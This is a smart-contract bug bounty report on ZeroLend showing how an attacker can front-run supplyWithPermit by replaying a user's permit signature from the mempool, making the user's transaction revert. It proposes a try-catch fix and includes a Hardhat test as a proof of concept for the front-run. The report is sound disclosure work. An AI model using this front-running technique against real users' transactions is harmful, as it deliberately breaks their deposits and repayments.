28970 - [SC - Medium] Attacker can grief a user by making his supplyW...
Submitted on Mar 3rd 2024 at 19:57:36 UTC by @djxploit for Boost | ZeroLend
Report ID: #28970
Report type: Smart Contract
Report severity: Medium
Target: https://pacific-explorer.manta.network/address/0x8676e39B5D2f0d6E0d78a4208a0cCBc50504972e
Impacts:
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
When a user calls supplyWithPermit
function, attacker can make the call revert by front-running. This happens because of a missing try-catch
statement in the supplyWithPermit
function.
Vulnerability Details
When supplyWithPermit
is called, by passing a permit signature, the contract calls the permit
function of the asset to get approval to spend on behalf of caller. It then calls the SupplyLogic.executeSupply
function to supply the asset.
So an attacker sees the supplyWithPermit
call in the mempool, and extracts the permit signature from the call's argument. Attacker then use this permit signature, to directly call the asset's permit
function. This will give the approval to the contract address, but along with it will increase the user's nonce, thus making the signature invalid for any further use.
Due to this when the original supplyWithPermit
gets mined, it will revert, as the signature has become invalid. Hence the user's transaction will revert.
Impact Details
Attacker can grief users by frontrunning the supplyWithPermit
functions, making that functionality unusable by users. Apart from supplyWithPermit
the repayWithPermit
function is also vulnerable to this issue.
Remediation Details
Implement a try-catch statement. Inside the supplyWithPermit
function, call the assets permit
statement using a try statement, and catch any revert. That will resolve the issue.
References
https://www.trust-security.xyz/post/permission-denied
Proof of Concept
Here is the test file. The specific test case showing the vulnerability is "Supply with permit test'"
import { expect } from 'chai';
import { BigNumber, Signer, utils } from 'ethers';
import { impersonateAccountsHardhat } from '../helpers/misc-utils';
import { ProtocolErrors, RateMode } from '../helpers/types';
import { getFirstSigner } from '@aave/deploy-v3/dist/helpers/utilities/signer';
import { makeSuite, TestEnv } from './helpers/make-suite';
import { HardhatRuntimeEnvironment } from 'hardhat/types';
import {
evmSnapshot,
evmRevert,
DefaultReserveInterestRateStrategy__factory,
VariableDebtToken__factory,
increaseTime,
AaveDistributionManager,
} from '@aave/deploy-v3';
import {
InitializableImmutableAdminUpgradeabilityProxy,
MockL2Pool__factory,
MockL2Pool,
L2Encoder,
L2Encoder__factory,
} from '../types';
import { ethers, getChainId } from 'hardhat';
import {
buildPermitParams,
getProxyImplementation,
getSignatureFromTypedData,
} from '../helpers/contracts-helpers';
import { getTestWallets } from './helpers/utils/wallets';
import { MAX_UINT_AMOUNT } from '../helpers/constants';
import { parseUnits } from 'ethers/lib/utils';
import { getReserveData, getUserData } from './helpers/utils/helpers';
import { calcExpectedStableDebtTokenBalance } from './helpers/utils/calculations';
declare var hre: HardhatRuntimeEnvironment;
makeSuite('Pool: L2 functions', (testEnv: TestEnv) => {
const {
INVALID_HF,
NO_MORE_RESERVES_ALLOWED,
CALLER_NOT_ATOKEN,
NOT_CONTRACT,
CALLER_NOT_POOL_CONFIGURATOR,
RESERVE_ALREADY_INITIALIZED,
INVALID_ADDRESSES_PROVIDER,
RESERVE_ALREADY_ADDED,
DEBT_CEILING_NOT_ZERO,
ASSET_NOT_LISTED,
ZERO_ADDRESS_NOT_VALID,
} = ProtocolErrors;
let l2Pool: MockL2Pool;
const POOL_ID = utils.formatBytes32String('POOL');
let encoder: L2Encoder;
before('Deploying L2Pool', async () => {
const { addressesProvider, poolAdmin, pool, deployer, oracle } = testEnv;
const { deployer: deployerName } = await hre.getNamedAccounts();
encoder = await (await new L2Encoder__factory(deployer.signer).deploy(pool.address)).deployed();
// Deploy the mock Pool with a `dropReserve` skipping the checks
const L2POOL_IMPL_ARTIFACT = await hre.deployments.deploy('MockL2Pool', {
contract: 'MockL2Pool',
from: deployerName,
args: [addressesProvider.address],
libraries: {
SupplyLogic: (await hre.deployments.get('SupplyLogic')).address,
BorrowLogic: (await hre.deployments.get('BorrowLogic')).address,
LiquidationLogic: (await hre.deployments.get('LiquidationLogic')).address,
EModeLogic: (await hre.deployments.get('EModeLogic')).address,
BridgeLogic: (await hre.deployments.get('BridgeLogic')).address,
FlashLoanLogic: (await hre.deployments.get('FlashLoanLogic')).address,
PoolLogic: (await hre.deployments.get('PoolLogic')).address,
},
log: false,
});
const poolProxyAddress = await addressesProvider.getPool();
const oldPoolImpl = await getProxyImplementation(addressesProvider.address, poolProxyAddress);
// Upgrade the Pool
await expect(
addressesProvider.connect(poolAdmin.signer).setPoolImpl(L2POOL_IMPL_ARTIFACT.address)
)
.to.emit(addressesProvider, 'PoolUpdated')
.withArgs(oldPoolImpl, L2POOL_IMPL_ARTIFACT.address);
// Get the Pool instance
const poolAddress = await addressesProvider.getPool();
l2Pool = await MockL2Pool__factory.connect(poolAddress, await getFirstSigner());
expect(await addressesProvider.setPriceOracle(oracle.address));
});
after(async () => {
const { aaveOracle, addressesProvider } = testEnv;
expect(await addressesProvider.setPriceOracle(aaveOracle.address));
});
it('Supply with permit test', async () => {
// user0 is the attacker
const { deployer, dai, aDai, users: [user0] } = testEnv;
const chainId = Number(await getChainId());
const nonce = await dai.nonces(deployer.address);
const amount = utils.parseEther('10000');
const highDeadline = '3000000000';
const userPrivateKey = getTestWallets()[0].secretKey;
const msgParams = buildPermitParams(
chainId,
dai.address,
'1',
await dai.symbol(),
deployer.address,
l2Pool.address,
nonce.toNumber(),
highDeadline,
amount.toString()
);
const { v, r, s } = getSignatureFromTypedData(userPrivateKey, msgParams);
await dai.connect(deployer.signer)['mint(uint256)'](amount);
const referralCode = BigNumber.from(2);
// Simulate frontrunning
// Attacker see the below 'supplyWithPermit' call in mempool, so he call the permit() of DAI directly,
// by using the signature from the call. This will increase the nonce of the 'deployer', which
// make the signature invalid for further use.
await dai.connect(user0.signer)['permit(address,address,uint256,uint256,uint8,bytes32,bytes32)'](deployer.address,l2Pool.address,amount,highDeadline,v,r,s);
// So when the actual supplyWithPermit call will get mined, it will revert, as the signature has become invalid because
// of the frontrunning done by attacker, which increased deployer's nonce by directly calling the permit function of DAI.
await expect(
l2Pool.connect(deployer.signer)['supplyWithPermit(address,uint256,address,uint16,uint256,uint8,bytes32,bytes32)'](
dai.address,
amount,
deployer.address,
referralCode,
highDeadline,
v,
r,
s)
)
.to.be.revertedWith(
"INVALID_SIGNATURE"
);
});
});
Last updated
Was this helpful?